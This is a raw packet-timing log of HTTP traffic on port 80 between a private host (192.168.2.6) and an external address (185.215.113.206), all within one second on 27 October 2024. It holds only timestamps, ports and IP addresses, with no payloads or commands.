Oct 27, 2024 00:31:18.381026030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381059885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381071091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381125927 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381155014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381160975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381174088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381200075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381208897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381234884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381249905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381268978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381285906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381309986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381342888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381356001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381396055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381400108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381431103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381479979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381484032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381517887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381529093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381556034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381562948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381589890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381602049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381627083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381628990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381661892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381669998 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381696939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381706953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381731033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381742001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381774902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381779909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381808996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381815910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381844044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381853104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381885052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381895065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381931067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381942987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381964922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.381974936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.381999969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382008076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382035017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382042885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382071018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382076979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382110119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382132053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382167101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382174969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382200956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382209063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382256985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382263899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382292986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382299900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382328033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382333994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382364035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382370949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382400990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382407904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382441044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382442951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382474899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382483006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382509947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382518053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382544994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382550001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382580042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382589102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382616997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382622957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382658958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382730961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382766008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382776976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382801056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382811069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382837057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382844925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382872105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382879019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382906914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382914066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382941961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382951021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.382976055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.382983923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383012056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383019924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383047104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383055925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383089066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383099079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383133888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383141994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383176088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383188963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383235931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383240938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383277893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383291960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383332014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383400917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383440971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383447886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383476019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383486986 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383512020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383519888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383547068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383555889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383583069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383590937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383616924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383626938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383654118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383662939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383687973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383697987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383724928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383737087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383759022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383769035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383795977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383802891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383830070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383837938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383863926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383873940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383907080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383918047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383960009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.383961916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.383995056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384001970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384033918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384041071 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384068012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384078979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384103060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384114981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384136915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384145021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384171963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384180069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384203911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384216070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384238958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384251118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384274960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384283066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384316921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384326935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384361982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384366989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384391069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384404898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384434938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384442091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384476900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384484053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384510994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384521008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384547949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384555101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384582043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384589911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384629011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384634018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384669065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384680033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384702921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384712934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384737968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384748936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384773016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384785891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384808064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384818077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384841919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384851933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384881020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384884119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384916067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.384923935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384960890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.384968042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385003090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385011911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385036945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385046959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385078907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385092020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385127068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385138988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385170937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385174036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385209084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385242939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385255098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385277033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385288000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385313034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385324955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385353088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385355949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385387897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385399103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385421991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385428905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385456085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385483027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385493994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385505915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385540009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385551929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385574102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385585070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385608912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385617971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385643005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385653019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385678053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385684967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385721922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385730028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385765076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385776997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385799885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385807991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385833979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385847092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385868073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385876894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385902882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385915041 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385937929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385948896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.385972023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.385979891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386006117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386015892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386040926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386059999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386070013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386086941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386106014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386111975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386140108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386148930 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386177063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386185884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386220932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386235952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386280060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386286020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386321068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386328936 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386354923 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386364937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386389971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386404037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386425018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386449099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386503935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386503935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386535883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386550903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386570930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386580944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386605978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386615992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386651039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386658907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386709929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386719942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386744976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386754990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386780024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386790037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386816025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386825085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386850119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386861086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386883974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386894941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386919022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386926889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386954069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.386964083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.386993885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387006044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387039900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387051105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387073994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387083054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387109995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387119055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387145996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387151957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387181997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387192011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387217999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387224913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387252092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387260914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387285948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387340069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387341022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387341022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387376070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387413979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387424946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387449026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387454033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387482882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387490034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387516975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387521982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387553930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387561083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.387588978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.387589931 CEST	49709	80	192.168.2.6	185.215.113.206
